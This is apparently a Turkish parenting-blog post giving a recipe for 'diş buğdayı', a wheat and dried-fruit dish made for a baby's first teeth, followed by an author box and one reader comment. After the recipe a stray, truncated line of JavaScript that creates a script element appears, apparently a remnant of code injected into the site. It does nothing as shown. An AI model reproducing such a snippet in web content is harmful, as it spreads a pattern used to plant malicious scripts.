Kızım 7 aylık olduğu zaman ilk kez gördüğüm 2 alt dişini kutlamak için (beni ısırmasını niye kutluyorsak :) ) hazırladığım diş buğdayı tarifi şöyle;

  • 750 gr buğday
  • 2-3 çorba kaşığı nohut
  • Pudra şekeri
  • Nar
  • Bol fındık ve ceviz, çok az fıstık
  • Bol kuru üzüm, kuru incir, kuru kayısı
Buğday ve nohutu 1 gece önceden ıslatıp düdüklüde haşlıyoruz. Dikkat, haşlama süresini kısa tutun, buğdayın yumuşayıp şeklini kaybetmesini istemiyoruz. Buğday ve nohut yenilebilir sertlikte olsun.
İçine ben 1 çorba kaşığı pudra şekeri koydum çünkü kuru meyveler zaten oldukça tatlandırıyor. Sırasız bir şekilde tüm malzemeleri karıştırıyoruz. Tadını, şekerini daha fazla kuru meyve ekleyerek kontrol edebilirsiniz. Servisi de pembe emzikli kurdelalı martini bardağında yaparsak, tadından görüntüsünden yenmez oluyor.
Sonrasında 1 tepsiye iş dallarını temsilen aletler koyup ( metre,ilaç,kitap, hesap makinası, para vs.) ufaklığın hangisini seçeceğini bekleyip görebilirsiniz. Eski bir Türk adetiymiş.
Afiyet olsun :)

var d=document;var s=d.createElement(‘script’);

About The Author

Meleğin annesi

2 Responses

  1. Meltem

    Afiyet şeker olsun. Bu arada benim için ‘Meleğin annesi ‘ diye yazabilirsen sevinirim.

    Cevapla

Leave a Reply

Your email address will not be published.